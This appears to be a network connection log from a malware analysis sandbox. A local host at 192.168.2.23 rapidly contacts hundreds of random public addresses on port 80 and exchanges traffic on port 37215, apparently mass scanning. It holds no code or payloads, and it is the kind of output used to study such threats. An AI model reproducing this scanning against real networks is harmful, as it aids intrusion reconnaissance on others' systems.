Dec 3, 2024 22:11:50.365135908 CET	6883	80	192.168.2.23	54.235.119.18
Dec 3, 2024 22:11:50.365139961 CET	6883	80	192.168.2.23	96.234.109.174
Dec 3, 2024 22:11:50.365139961 CET	6883	80	192.168.2.23	49.236.116.102
Dec 3, 2024 22:11:50.365149975 CET	6883	80	192.168.2.23	174.56.251.76
Dec 3, 2024 22:11:50.365149975 CET	6883	80	192.168.2.23	107.137.49.56
Dec 3, 2024 22:11:50.365150928 CET	6883	80	192.168.2.23	109.209.204.137
Dec 3, 2024 22:11:50.365150928 CET	6883	80	192.168.2.23	187.13.232.121
Dec 3, 2024 22:11:50.365160942 CET	6883	80	192.168.2.23	25.10.131.192
Dec 3, 2024 22:11:50.365160942 CET	6883	80	192.168.2.23	46.239.39.249
Dec 3, 2024 22:11:50.365168095 CET	6883	80	192.168.2.23	51.42.242.160
Dec 3, 2024 22:11:50.365212917 CET	6883	80	192.168.2.23	136.68.128.205
Dec 3, 2024 22:11:50.365212917 CET	6883	80	192.168.2.23	81.120.101.130
Dec 3, 2024 22:11:50.365212917 CET	6883	80	192.168.2.23	206.47.162.16
Dec 3, 2024 22:11:50.365214109 CET	6883	80	192.168.2.23	66.168.184.22
Dec 3, 2024 22:11:50.365215063 CET	6883	80	192.168.2.23	120.182.161.245
Dec 3, 2024 22:11:50.365214109 CET	6883	80	192.168.2.23	180.165.24.108
Dec 3, 2024 22:11:50.365216970 CET	6883	80	192.168.2.23	63.112.75.22
Dec 3, 2024 22:11:50.365220070 CET	6883	80	192.168.2.23	107.68.216.88
Dec 3, 2024 22:11:50.365220070 CET	6883	80	192.168.2.23	103.50.81.243
Dec 3, 2024 22:11:50.365223885 CET	6883	80	192.168.2.23	82.233.200.40
Dec 3, 2024 22:11:50.365293980 CET	6883	80	192.168.2.23	95.144.226.230
Dec 3, 2024 22:11:50.365295887 CET	6883	80	192.168.2.23	145.179.69.249
Dec 3, 2024 22:11:50.365297079 CET	6883	80	192.168.2.23	177.11.131.152
Dec 3, 2024 22:11:50.365297079 CET	6883	80	192.168.2.23	17.11.250.30
Dec 3, 2024 22:11:50.365304947 CET	6883	80	192.168.2.23	135.141.104.179
Dec 3, 2024 22:11:50.365305901 CET	6883	80	192.168.2.23	113.13.195.163
Dec 3, 2024 22:11:50.365304947 CET	6883	80	192.168.2.23	126.98.53.209
Dec 3, 2024 22:11:50.365305901 CET	6883	80	192.168.2.23	24.142.241.23
Dec 3, 2024 22:11:50.365305901 CET	6883	80	192.168.2.23	32.242.242.9
Dec 3, 2024 22:11:50.365305901 CET	6883	80	192.168.2.23	87.174.70.178
Dec 3, 2024 22:11:50.365307093 CET	6883	80	192.168.2.23	86.230.93.155
Dec 3, 2024 22:11:50.365307093 CET	6883	80	192.168.2.23	169.191.134.63
Dec 3, 2024 22:11:50.365307093 CET	6883	80	192.168.2.23	77.134.204.204
Dec 3, 2024 22:11:50.365353107 CET	6883	80	192.168.2.23	83.130.19.12
Dec 3, 2024 22:11:50.365353107 CET	6883	80	192.168.2.23	67.200.166.152
Dec 3, 2024 22:11:50.365355015 CET	6883	80	192.168.2.23	210.150.43.184
Dec 3, 2024 22:11:50.365356922 CET	6883	80	192.168.2.23	143.122.17.21
Dec 3, 2024 22:11:50.365358114 CET	6883	80	192.168.2.23	43.88.85.244
Dec 3, 2024 22:11:50.365358114 CET	6883	80	192.168.2.23	45.224.93.77
Dec 3, 2024 22:11:50.365367889 CET	6883	80	192.168.2.23	25.185.89.147
Dec 3, 2024 22:11:50.365384102 CET	6883	80	192.168.2.23	222.46.90.8
Dec 3, 2024 22:11:50.365394115 CET	6883	80	192.168.2.23	172.201.245.234
Dec 3, 2024 22:11:50.365394115 CET	6883	80	192.168.2.23	117.173.216.168
Dec 3, 2024 22:11:50.365397930 CET	6883	80	192.168.2.23	184.71.146.41
Dec 3, 2024 22:11:50.365402937 CET	6883	80	192.168.2.23	78.84.197.246
Dec 3, 2024 22:11:50.365432978 CET	6883	80	192.168.2.23	161.62.17.231
Dec 3, 2024 22:11:50.365436077 CET	6883	80	192.168.2.23	130.99.44.180
Dec 3, 2024 22:11:50.365449905 CET	6883	80	192.168.2.23	97.9.225.157
Dec 3, 2024 22:11:50.365453959 CET	6883	80	192.168.2.23	35.73.177.178
Dec 3, 2024 22:11:50.365458012 CET	6883	80	192.168.2.23	39.164.156.218
Dec 3, 2024 22:11:50.365458012 CET	6883	80	192.168.2.23	121.47.102.226
Dec 3, 2024 22:11:50.365463972 CET	6883	80	192.168.2.23	198.114.126.15
Dec 3, 2024 22:11:50.365472078 CET	6883	80	192.168.2.23	182.188.18.50
Dec 3, 2024 22:11:50.365472078 CET	6883	80	192.168.2.23	69.30.131.28
Dec 3, 2024 22:11:50.365499020 CET	6883	80	192.168.2.23	79.43.220.184
Dec 3, 2024 22:11:50.365530968 CET	6883	80	192.168.2.23	31.156.223.35
Dec 3, 2024 22:11:50.365530968 CET	6883	80	192.168.2.23	218.245.143.210
Dec 3, 2024 22:11:50.365534067 CET	6883	80	192.168.2.23	176.198.26.11
Dec 3, 2024 22:11:50.365534067 CET	6883	80	192.168.2.23	115.22.126.219
Dec 3, 2024 22:11:50.365535975 CET	6883	80	192.168.2.23	153.143.146.111
Dec 3, 2024 22:11:50.365566015 CET	6883	80	192.168.2.23	110.134.37.225
Dec 3, 2024 22:11:50.365601063 CET	6883	80	192.168.2.23	31.252.10.45
Dec 3, 2024 22:11:50.365601063 CET	6883	80	192.168.2.23	58.1.47.64
Dec 3, 2024 22:11:50.365601063 CET	6883	80	192.168.2.23	113.61.29.40
Dec 3, 2024 22:11:50.365602970 CET	6883	80	192.168.2.23	36.197.215.55
Dec 3, 2024 22:11:50.365602970 CET	6883	80	192.168.2.23	164.203.54.89
Dec 3, 2024 22:11:50.365603924 CET	6883	80	192.168.2.23	183.212.211.97
Dec 3, 2024 22:11:50.365607023 CET	6883	80	192.168.2.23	168.187.151.193
Dec 3, 2024 22:11:50.365607023 CET	6883	80	192.168.2.23	90.111.168.231
Dec 3, 2024 22:11:50.365607977 CET	6883	80	192.168.2.23	197.4.145.227
Dec 3, 2024 22:11:50.365609884 CET	6883	80	192.168.2.23	204.226.33.149
Dec 3, 2024 22:11:50.365617990 CET	6883	80	192.168.2.23	12.236.211.238
Dec 3, 2024 22:11:50.365637064 CET	6883	80	192.168.2.23	170.24.16.230
Dec 3, 2024 22:11:50.365643024 CET	6883	80	192.168.2.23	142.169.92.48
Dec 3, 2024 22:11:50.365644932 CET	6883	80	192.168.2.23	141.21.218.200
Dec 3, 2024 22:11:50.365644932 CET	6883	80	192.168.2.23	208.252.249.178
Dec 3, 2024 22:11:50.365644932 CET	6883	80	192.168.2.23	125.29.26.46
Dec 3, 2024 22:11:50.365669966 CET	6883	80	192.168.2.23	167.22.192.192
Dec 3, 2024 22:11:50.365672112 CET	6883	80	192.168.2.23	101.83.74.85
Dec 3, 2024 22:11:50.365672112 CET	6883	80	192.168.2.23	60.65.51.234
Dec 3, 2024 22:11:50.365672112 CET	6883	80	192.168.2.23	157.86.53.213
Dec 3, 2024 22:11:50.365677118 CET	6883	80	192.168.2.23	131.53.164.19
Dec 3, 2024 22:11:50.365684032 CET	6883	80	192.168.2.23	65.81.101.130
Dec 3, 2024 22:11:50.365684986 CET	6883	80	192.168.2.23	89.41.93.86
Dec 3, 2024 22:11:50.365686893 CET	6883	80	192.168.2.23	13.6.231.53
Dec 3, 2024 22:11:50.365686893 CET	6883	80	192.168.2.23	93.122.59.58
Dec 3, 2024 22:11:50.365686893 CET	6883	80	192.168.2.23	199.154.161.204
Dec 3, 2024 22:11:50.365686893 CET	6883	80	192.168.2.23	19.77.119.13
Dec 3, 2024 22:11:50.365690947 CET	6883	80	192.168.2.23	184.227.91.59
Dec 3, 2024 22:11:50.365694046 CET	6883	80	192.168.2.23	159.45.148.29
Dec 3, 2024 22:11:50.365694046 CET	6883	80	192.168.2.23	156.251.189.119
Dec 3, 2024 22:11:50.365695000 CET	6883	80	192.168.2.23	142.143.187.14
Dec 3, 2024 22:11:50.365695000 CET	6883	80	192.168.2.23	79.3.171.146
Dec 3, 2024 22:11:50.365695000 CET	6883	80	192.168.2.23	158.59.96.113
Dec 3, 2024 22:11:50.365695953 CET	6883	80	192.168.2.23	203.102.41.215
Dec 3, 2024 22:11:50.365695000 CET	6883	80	192.168.2.23	221.145.66.26
Dec 3, 2024 22:11:50.365695953 CET	6883	80	192.168.2.23	102.182.90.138
Dec 3, 2024 22:11:50.365720987 CET	6883	80	192.168.2.23	51.40.92.38
Dec 3, 2024 22:11:50.365720987 CET	6883	80	192.168.2.23	175.170.151.21
Dec 3, 2024 22:11:50.365741014 CET	37215	34256	156.107.59.192	192.168.2.23
Dec 3, 2024 22:11:50.365744114 CET	6883	80	192.168.2.23	118.38.219.226
Dec 3, 2024 22:11:50.365745068 CET	6883	80	192.168.2.23	200.13.190.153
Dec 3, 2024 22:11:50.365746975 CET	6883	80	192.168.2.23	109.250.149.200
Dec 3, 2024 22:11:50.365746975 CET	6883	80	192.168.2.23	118.150.169.253
Dec 3, 2024 22:11:50.365751028 CET	6883	80	192.168.2.23	169.196.244.157
Dec 3, 2024 22:11:50.365755081 CET	6883	80	192.168.2.23	75.187.174.60
Dec 3, 2024 22:11:50.365761995 CET	6883	80	192.168.2.23	178.213.179.169
Dec 3, 2024 22:11:50.365763903 CET	6883	80	192.168.2.23	4.243.206.198
Dec 3, 2024 22:11:50.365763903 CET	6883	80	192.168.2.23	37.117.31.73
Dec 3, 2024 22:11:50.365788937 CET	6883	80	192.168.2.23	1.211.136.4
Dec 3, 2024 22:11:50.365796089 CET	6883	80	192.168.2.23	114.158.78.32
Dec 3, 2024 22:11:50.365799904 CET	34256	37215	192.168.2.23	156.107.59.192
Dec 3, 2024 22:11:50.365813971 CET	6883	80	192.168.2.23	27.3.162.135
Dec 3, 2024 22:11:50.365823030 CET	6883	80	192.168.2.23	154.183.2.157
Dec 3, 2024 22:11:50.365827084 CET	6883	80	192.168.2.23	204.139.146.147
Dec 3, 2024 22:11:50.365848064 CET	6883	80	192.168.2.23	85.146.24.189
Dec 3, 2024 22:11:50.365848064 CET	6883	80	192.168.2.23	151.28.206.183
Dec 3, 2024 22:11:50.365860939 CET	6883	80	192.168.2.23	158.52.63.29
Dec 3, 2024 22:11:50.365869999 CET	6883	80	192.168.2.23	36.240.155.145
Dec 3, 2024 22:11:50.365875006 CET	6883	80	192.168.2.23	135.117.138.67
Dec 3, 2024 22:11:50.365875006 CET	6883	80	192.168.2.23	125.86.164.13
Dec 3, 2024 22:11:50.365895033 CET	6883	80	192.168.2.23	109.191.34.171
Dec 3, 2024 22:11:50.365905046 CET	6883	80	192.168.2.23	99.247.30.181
Dec 3, 2024 22:11:50.365916014 CET	6883	80	192.168.2.23	17.61.143.190
Dec 3, 2024 22:11:50.365964890 CET	6883	80	192.168.2.23	52.12.130.30
Dec 3, 2024 22:11:50.365973949 CET	6883	80	192.168.2.23	219.156.34.113
Dec 3, 2024 22:11:50.365974903 CET	6883	80	192.168.2.23	160.59.25.170
Dec 3, 2024 22:11:50.365974903 CET	6883	80	192.168.2.23	66.43.149.132
Dec 3, 2024 22:11:50.365976095 CET	6883	80	192.168.2.23	38.103.191.133
Dec 3, 2024 22:11:50.365976095 CET	6883	80	192.168.2.23	92.237.38.130
Dec 3, 2024 22:11:50.365998030 CET	6883	80	192.168.2.23	110.174.233.69
Dec 3, 2024 22:11:50.365998030 CET	6883	80	192.168.2.23	223.0.225.249
Dec 3, 2024 22:11:50.365998030 CET	6883	80	192.168.2.23	2.159.174.239
Dec 3, 2024 22:11:50.365998030 CET	6883	80	192.168.2.23	101.233.88.99
Dec 3, 2024 22:11:50.365998030 CET	6883	80	192.168.2.23	168.48.145.216
Dec 3, 2024 22:11:50.365998983 CET	6883	80	192.168.2.23	75.180.12.223
Dec 3, 2024 22:11:50.365998030 CET	6883	80	192.168.2.23	187.109.31.248
Dec 3, 2024 22:11:50.365998983 CET	6883	80	192.168.2.23	14.82.157.67
Dec 3, 2024 22:11:50.365998030 CET	6883	80	192.168.2.23	216.30.194.159
Dec 3, 2024 22:11:50.365998983 CET	6883	80	192.168.2.23	44.218.229.157
Dec 3, 2024 22:11:50.365998983 CET	6883	80	192.168.2.23	205.190.86.164
Dec 3, 2024 22:11:50.366008043 CET	6883	80	192.168.2.23	77.209.228.90
Dec 3, 2024 22:11:50.366008043 CET	6883	80	192.168.2.23	42.159.83.138
Dec 3, 2024 22:11:50.366019011 CET	6883	80	192.168.2.23	137.157.154.171
Dec 3, 2024 22:11:50.366020918 CET	6883	80	192.168.2.23	13.111.48.182
Dec 3, 2024 22:11:50.366022110 CET	6883	80	192.168.2.23	54.123.203.194
Dec 3, 2024 22:11:50.366022110 CET	6883	80	192.168.2.23	170.112.3.72
Dec 3, 2024 22:11:50.366022110 CET	6883	80	192.168.2.23	91.2.105.112
Dec 3, 2024 22:11:50.366023064 CET	6883	80	192.168.2.23	14.208.67.133
Dec 3, 2024 22:11:50.366022110 CET	6883	80	192.168.2.23	124.230.225.176
Dec 3, 2024 22:11:50.366023064 CET	6883	80	192.168.2.23	205.69.160.142
Dec 3, 2024 22:11:50.366025925 CET	6883	80	192.168.2.23	195.25.130.34
Dec 3, 2024 22:11:50.366051912 CET	6883	80	192.168.2.23	154.205.203.96
Dec 3, 2024 22:11:50.366051912 CET	6883	80	192.168.2.23	18.158.184.166
Dec 3, 2024 22:11:50.366051912 CET	6883	80	192.168.2.23	178.25.197.51
Dec 3, 2024 22:11:50.366051912 CET	6883	80	192.168.2.23	142.224.4.38
Dec 3, 2024 22:11:50.366051912 CET	6883	80	192.168.2.23	201.57.44.215
Dec 3, 2024 22:11:50.366055965 CET	6883	80	192.168.2.23	200.251.159.178
Dec 3, 2024 22:11:50.366070032 CET	6883	80	192.168.2.23	160.21.190.63
Dec 3, 2024 22:11:50.366079092 CET	6883	80	192.168.2.23	58.237.153.99
Dec 3, 2024 22:11:50.366107941 CET	6883	80	192.168.2.23	208.63.161.127
Dec 3, 2024 22:11:50.366116047 CET	6883	80	192.168.2.23	162.73.249.185
Dec 3, 2024 22:11:50.366116047 CET	6883	80	192.168.2.23	147.113.12.53
Dec 3, 2024 22:11:50.366116047 CET	6883	80	192.168.2.23	197.159.37.228
Dec 3, 2024 22:11:50.366118908 CET	6883	80	192.168.2.23	32.110.115.26
Dec 3, 2024 22:11:50.366122961 CET	6883	80	192.168.2.23	50.245.116.1
Dec 3, 2024 22:11:50.366167068 CET	6883	80	192.168.2.23	57.203.106.155
Dec 3, 2024 22:11:50.366183043 CET	6883	80	192.168.2.23	19.45.184.138
Dec 3, 2024 22:11:50.366183996 CET	6883	80	192.168.2.23	210.245.126.241
Dec 3, 2024 22:11:50.366184950 CET	6883	80	192.168.2.23	144.75.14.162
Dec 3, 2024 22:11:50.366188049 CET	6883	80	192.168.2.23	12.127.17.114
Dec 3, 2024 22:11:50.366190910 CET	6883	80	192.168.2.23	73.35.110.188
Dec 3, 2024 22:11:50.366190910 CET	6883	80	192.168.2.23	105.3.102.168
Dec 3, 2024 22:11:50.366203070 CET	6883	80	192.168.2.23	139.14.199.182
Dec 3, 2024 22:11:50.366218090 CET	6883	80	192.168.2.23	157.197.174.168
Dec 3, 2024 22:11:50.366220951 CET	6883	80	192.168.2.23	75.227.132.131
Dec 3, 2024 22:11:50.366245031 CET	6883	80	192.168.2.23	152.241.96.147
Dec 3, 2024 22:11:50.366257906 CET	6883	80	192.168.2.23	206.33.172.12
Dec 3, 2024 22:11:50.366257906 CET	6883	80	192.168.2.23	118.209.220.162
Dec 3, 2024 22:11:50.366261005 CET	6883	80	192.168.2.23	49.253.21.31
Dec 3, 2024 22:11:50.366261005 CET	6883	80	192.168.2.23	32.57.239.176
Dec 3, 2024 22:11:50.366261005 CET	6883	80	192.168.2.23	54.111.190.94
Dec 3, 2024 22:11:50.366261005 CET	6883	80	192.168.2.23	94.160.231.232
Dec 3, 2024 22:11:50.366281986 CET	6883	80	192.168.2.23	141.84.244.29
Dec 3, 2024 22:11:50.366281986 CET	6883	80	192.168.2.23	12.129.2.89
Dec 3, 2024 22:11:50.366281986 CET	6883	80	192.168.2.23	25.218.22.70
Dec 3, 2024 22:11:50.366298914 CET	6883	80	192.168.2.23	18.20.185.130
Dec 3, 2024 22:11:50.366298914 CET	6883	80	192.168.2.23	159.32.99.191
Dec 3, 2024 22:11:50.366298914 CET	6883	80	192.168.2.23	130.252.226.210
Dec 3, 2024 22:11:50.366300106 CET	6883	80	192.168.2.23	101.238.172.172
Dec 3, 2024 22:11:50.366306067 CET	6883	80	192.168.2.23	183.173.52.176
Dec 3, 2024 22:11:50.366308928 CET	6883	80	192.168.2.23	192.8.225.151
Dec 3, 2024 22:11:50.366309881 CET	6883	80	192.168.2.23	158.103.51.27
Dec 3, 2024 22:11:50.366374969 CET	6883	80	192.168.2.23	153.132.195.243
Dec 3, 2024 22:11:50.366374969 CET	6883	80	192.168.2.23	118.8.212.70
Dec 3, 2024 22:11:50.366377115 CET	6883	80	192.168.2.23	203.83.1.93
Dec 3, 2024 22:11:50.366377115 CET	6883	80	192.168.2.23	154.195.126.129
Dec 3, 2024 22:11:50.366377115 CET	6883	80	192.168.2.23	124.124.255.106
Dec 3, 2024 22:11:50.366377115 CET	6883	80	192.168.2.23	174.185.30.225
Dec 3, 2024 22:11:50.366377115 CET	6883	80	192.168.2.23	49.187.180.151
Dec 3, 2024 22:11:50.366380930 CET	6883	80	192.168.2.23	147.26.50.92
Dec 3, 2024 22:11:50.366389036 CET	6883	80	192.168.2.23	165.52.57.42
Dec 3, 2024 22:11:50.366421938 CET	6883	80	192.168.2.23	212.218.218.244
Dec 3, 2024 22:11:50.366421938 CET	6883	80	192.168.2.23	85.157.227.69
Dec 3, 2024 22:11:50.366424084 CET	6883	80	192.168.2.23	213.83.159.50
Dec 3, 2024 22:11:50.366425037 CET	6883	80	192.168.2.23	183.67.161.106
Dec 3, 2024 22:11:50.366434097 CET	6883	80	192.168.2.23	17.43.196.231
Dec 3, 2024 22:11:50.366451979 CET	6883	80	192.168.2.23	27.126.236.39
Dec 3, 2024 22:11:50.366462946 CET	6883	80	192.168.2.23	151.228.204.147
Dec 3, 2024 22:11:50.366465092 CET	6883	80	192.168.2.23	209.213.191.178
Dec 3, 2024 22:11:50.366466999 CET	6883	80	192.168.2.23	155.177.110.146
Dec 3, 2024 22:11:50.366466999 CET	6883	80	192.168.2.23	83.200.131.54
Dec 3, 2024 22:11:50.366466999 CET	6883	80	192.168.2.23	4.12.33.148
Dec 3, 2024 22:11:50.366477013 CET	6883	80	192.168.2.23	109.23.119.144
Dec 3, 2024 22:11:50.366496086 CET	6883	80	192.168.2.23	46.136.190.88
Dec 3, 2024 22:11:50.366497040 CET	6883	80	192.168.2.23	81.164.102.217
Dec 3, 2024 22:11:50.366523027 CET	6883	80	192.168.2.23	8.22.74.60
Dec 3, 2024 22:11:50.366525888 CET	6883	80	192.168.2.23	78.123.75.49
Dec 3, 2024 22:11:50.366525888 CET	6883	80	192.168.2.23	59.101.27.170
Dec 3, 2024 22:11:50.366552114 CET	6883	80	192.168.2.23	53.34.223.158
Dec 3, 2024 22:11:50.366586924 CET	6883	80	192.168.2.23	50.213.96.158
Dec 3, 2024 22:11:50.366586924 CET	6883	80	192.168.2.23	5.92.216.180
Dec 3, 2024 22:11:50.366588116 CET	6883	80	192.168.2.23	153.158.77.184
Dec 3, 2024 22:11:50.366590023 CET	6883	80	192.168.2.23	130.168.100.85
Dec 3, 2024 22:11:50.366590023 CET	6883	80	192.168.2.23	106.105.73.238
Dec 3, 2024 22:11:50.366588116 CET	6883	80	192.168.2.23	149.143.165.81
Dec 3, 2024 22:11:50.366599083 CET	6883	80	192.168.2.23	141.206.58.160
Dec 3, 2024 22:11:50.366606951 CET	6883	80	192.168.2.23	19.127.213.84
Dec 3, 2024 22:11:50.366612911 CET	6883	80	192.168.2.23	49.135.162.250
Dec 3, 2024 22:11:50.366622925 CET	6883	80	192.168.2.23	147.33.49.200
Dec 3, 2024 22:11:50.366651058 CET	6883	80	192.168.2.23	149.139.29.138
Dec 3, 2024 22:11:50.366651058 CET	6883	80	192.168.2.23	199.160.242.82
Dec 3, 2024 22:11:50.366662025 CET	6883	80	192.168.2.23	72.84.112.247
Dec 3, 2024 22:11:50.366664886 CET	6883	80	192.168.2.23	45.69.43.170
Dec 3, 2024 22:11:50.366684914 CET	6883	80	192.168.2.23	209.253.107.59
Dec 3, 2024 22:11:50.366714001 CET	6883	80	192.168.2.23	110.227.183.193
Dec 3, 2024 22:11:50.366723061 CET	6883	80	192.168.2.23	171.161.59.183
Dec 3, 2024 22:11:50.366725922 CET	6883	80	192.168.2.23	102.177.106.25
Dec 3, 2024 22:11:50.366725922 CET	6883	80	192.168.2.23	200.76.189.214
Dec 3, 2024 22:11:50.366738081 CET	6883	80	192.168.2.23	129.75.215.157
Dec 3, 2024 22:11:50.366739035 CET	6883	80	192.168.2.23	128.148.81.88
Dec 3, 2024 22:11:50.366763115 CET	6883	80	192.168.2.23	43.99.16.159
Dec 3, 2024 22:11:50.366765022 CET	6883	80	192.168.2.23	146.221.162.66
Dec 3, 2024 22:11:50.366767883 CET	37215	48606	156.100.189.237	192.168.2.23
Dec 3, 2024 22:11:50.366775990 CET	6883	80	192.168.2.23	188.221.85.27
Dec 3, 2024 22:11:50.366775990 CET	6883	80	192.168.2.23	197.40.184.253
Dec 3, 2024 22:11:50.366775990 CET	6883	80	192.168.2.23	175.111.243.170
Dec 3, 2024 22:11:50.366779089 CET	6883	80	192.168.2.23	222.73.33.83
Dec 3, 2024 22:11:50.366779089 CET	6883	80	192.168.2.23	78.249.32.9
Dec 3, 2024 22:11:50.366790056 CET	6883	80	192.168.2.23	168.253.23.66
Dec 3, 2024 22:11:50.366816044 CET	6883	80	192.168.2.23	79.133.164.44
Dec 3, 2024 22:11:50.366822958 CET	6883	80	192.168.2.23	146.105.50.168
Dec 3, 2024 22:11:50.366837978 CET	48606	37215	192.168.2.23	156.100.189.237
Dec 3, 2024 22:11:50.366869926 CET	6883	80	192.168.2.23	172.170.199.133
Dec 3, 2024 22:11:50.366873980 CET	6883	80	192.168.2.23	9.202.89.18
Dec 3, 2024 22:11:50.366873980 CET	6883	80	192.168.2.23	144.111.138.54
Dec 3, 2024 22:11:50.366874933 CET	6883	80	192.168.2.23	158.193.215.110
Dec 3, 2024 22:11:50.366878986 CET	6883	80	192.168.2.23	87.10.106.66
Dec 3, 2024 22:11:50.366909027 CET	6883	80	192.168.2.23	207.232.69.197
Dec 3, 2024 22:11:50.366914988 CET	6883	80	192.168.2.23	117.244.192.243
Dec 3, 2024 22:11:50.366915941 CET	6883	80	192.168.2.23	119.33.179.90
Dec 3, 2024 22:11:50.366918087 CET	6883	80	192.168.2.23	205.55.32.131
Dec 3, 2024 22:11:50.366919041 CET	6883	80	192.168.2.23	143.62.199.121
Dec 3, 2024 22:11:50.366930962 CET	6883	80	192.168.2.23	37.202.172.82
Dec 3, 2024 22:11:50.366930962 CET	6883	80	192.168.2.23	82.207.125.86
Dec 3, 2024 22:11:50.366939068 CET	6883	80	192.168.2.23	206.35.170.89
Dec 3, 2024 22:11:50.366952896 CET	6883	80	192.168.2.23	126.230.237.170
Dec 3, 2024 22:11:50.366985083 CET	6883	80	192.168.2.23	131.110.242.222
Dec 3, 2024 22:11:50.367023945 CET	6883	80	192.168.2.23	120.206.145.166
Dec 3, 2024 22:11:50.367024899 CET	6883	80	192.168.2.23	18.174.55.49
Dec 3, 2024 22:11:50.367034912 CET	6883	80	192.168.2.23	190.168.12.124
Dec 3, 2024 22:11:50.367038965 CET	6883	80	192.168.2.23	114.21.185.110
Dec 3, 2024 22:11:50.367044926 CET	6883	80	192.168.2.23	58.100.228.7
Dec 3, 2024 22:11:50.367048025 CET	37215	42238	41.108.205.190	192.168.2.23
Dec 3, 2024 22:11:50.367058039 CET	6883	80	192.168.2.23	194.151.131.93
Dec 3, 2024 22:11:50.367063046 CET	6883	80	192.168.2.23	79.57.156.185
Dec 3, 2024 22:11:50.367065907 CET	6883	80	192.168.2.23	43.165.26.117
Dec 3, 2024 22:11:50.367069960 CET	6883	80	192.168.2.23	84.109.32.196
Dec 3, 2024 22:11:50.367085934 CET	42238	37215	192.168.2.23	41.108.205.190
Dec 3, 2024 22:11:50.367103100 CET	6883	80	192.168.2.23	124.209.4.31
Dec 3, 2024 22:11:50.367110014 CET	6883	80	192.168.2.23	161.178.201.111
Dec 3, 2024 22:11:50.367110968 CET	6883	80	192.168.2.23	65.155.81.193
Dec 3, 2024 22:11:50.367115974 CET	6883	80	192.168.2.23	158.205.235.2
Dec 3, 2024 22:11:50.367171049 CET	6883	80	192.168.2.23	191.174.208.10
Dec 3, 2024 22:11:50.367178917 CET	6883	80	192.168.2.23	198.131.31.206
Dec 3, 2024 22:11:50.367180109 CET	6883	80	192.168.2.23	39.31.68.25
Dec 3, 2024 22:11:50.367180109 CET	6883	80	192.168.2.23	184.70.236.100
Dec 3, 2024 22:11:50.367180109 CET	6883	80	192.168.2.23	84.202.50.223
Dec 3, 2024 22:11:50.367182970 CET	6883	80	192.168.2.23	57.205.144.215
Dec 3, 2024 22:11:50.367197990 CET	6883	80	192.168.2.23	125.80.34.248
Dec 3, 2024 22:11:50.367198944 CET	6883	80	192.168.2.23	136.195.218.152
Dec 3, 2024 22:11:50.367228031 CET	6883	80	192.168.2.23	178.220.73.226
Dec 3, 2024 22:11:50.367238998 CET	6883	80	192.168.2.23	73.151.98.80
Dec 3, 2024 22:11:50.367240906 CET	6883	80	192.168.2.23	76.193.57.35
Dec 3, 2024 22:11:50.367240906 CET	6883	80	192.168.2.23	196.160.134.199
Dec 3, 2024 22:11:50.367240906 CET	6883	80	192.168.2.23	79.9.142.236
Dec 3, 2024 22:11:50.367240906 CET	6883	80	192.168.2.23	2.246.176.246
Dec 3, 2024 22:11:50.367252111 CET	6883	80	192.168.2.23	85.92.180.9
Dec 3, 2024 22:11:50.367275953 CET	6883	80	192.168.2.23	1.254.45.247
Dec 3, 2024 22:11:50.367332935 CET	6883	80	192.168.2.23	97.202.214.96
Dec 3, 2024 22:11:50.367340088 CET	6883	80	192.168.2.23	187.18.210.197
Dec 3, 2024 22:11:50.427798986 CET	37215	37626	156.75.218.24	192.168.2.23
Dec 3, 2024 22:11:50.428859949 CET	37215	37626	156.75.218.24	192.168.2.23
Dec 3, 2024 22:11:50.428934097 CET	37626	37215	192.168.2.23	156.75.218.24
Dec 3, 2024 22:11:50.429372072 CET	37215	44560	197.121.34.254	192.168.2.23
Dec 3, 2024 22:11:50.429442883 CET	44560	37215	192.168.2.23	197.121.34.254
Dec 3, 2024 22:11:50.429533005 CET	37215	39764	197.80.227.170	192.168.2.23
Dec 3, 2024 22:11:50.429606915 CET	39764	37215	192.168.2.23	197.80.227.170
Dec 3, 2024 22:11:50.486732006 CET	80	6883	123.63.252.212	192.168.2.23
Dec 3, 2024 22:11:50.486756086 CET	80	6883	151.235.178.124	192.168.2.23
Dec 3, 2024 22:11:50.486851931 CET	6883	80	192.168.2.23	123.63.252.212
Dec 3, 2024 22:11:50.486872911 CET	6883	80	192.168.2.23	151.235.178.124
Dec 3, 2024 22:11:50.487219095 CET	80	6883	133.83.247.90	192.168.2.23
Dec 3, 2024 22:11:50.487293959 CET	80	6883	175.229.50.139	192.168.2.23
Dec 3, 2024 22:11:50.487297058 CET	6883	80	192.168.2.23	133.83.247.90
Dec 3, 2024 22:11:50.487306118 CET	80	6883	97.146.133.90	192.168.2.23
Dec 3, 2024 22:11:50.487322092 CET	80	6883	89.77.49.90	192.168.2.23
Dec 3, 2024 22:11:50.487334013 CET	80	6883	155.120.96.18	192.168.2.23
Dec 3, 2024 22:11:50.487340927 CET	6883	80	192.168.2.23	175.229.50.139
Dec 3, 2024 22:11:50.487343073 CET	80	6883	203.199.224.170	192.168.2.23
Dec 3, 2024 22:11:50.487344027 CET	6883	80	192.168.2.23	97.146.133.90
Dec 3, 2024 22:11:50.487354994 CET	80	6883	77.145.142.253	192.168.2.23
Dec 3, 2024 22:11:50.487360001 CET	6883	80	192.168.2.23	89.77.49.90
Dec 3, 2024 22:11:50.487377882 CET	6883	80	192.168.2.23	203.199.224.170
Dec 3, 2024 22:11:50.487384081 CET	6883	80	192.168.2.23	155.120.96.18
Dec 3, 2024 22:11:50.487402916 CET	6883	80	192.168.2.23	77.145.142.253
Dec 3, 2024 22:11:50.487421036 CET	80	6883	156.240.241.216	192.168.2.23
Dec 3, 2024 22:11:50.487432957 CET	80	6883	201.42.80.185	192.168.2.23
Dec 3, 2024 22:11:50.487442970 CET	80	6883	179.41.60.148	192.168.2.23
Dec 3, 2024 22:11:50.487454891 CET	80	6883	220.107.18.26	192.168.2.23
Dec 3, 2024 22:11:50.487454891 CET	6883	80	192.168.2.23	156.240.241.216
Dec 3, 2024 22:11:50.487464905 CET	80	6883	72.98.186.118	192.168.2.23
Dec 3, 2024 22:11:50.487473011 CET	6883	80	192.168.2.23	201.42.80.185
Dec 3, 2024 22:11:50.487473965 CET	80	6883	159.47.73.163	192.168.2.23
Dec 3, 2024 22:11:50.487478018 CET	6883	80	192.168.2.23	179.41.60.148
Dec 3, 2024 22:11:50.487484932 CET	80	6883	35.37.81.75	192.168.2.23
Dec 3, 2024 22:11:50.487488031 CET	6883	80	192.168.2.23	220.107.18.26
Dec 3, 2024 22:11:50.487494946 CET	80	6883	132.243.143.161	192.168.2.23
Dec 3, 2024 22:11:50.487504005 CET	80	6883	190.176.20.128	192.168.2.23
Dec 3, 2024 22:11:50.487503052 CET	6883	80	192.168.2.23	72.98.186.118
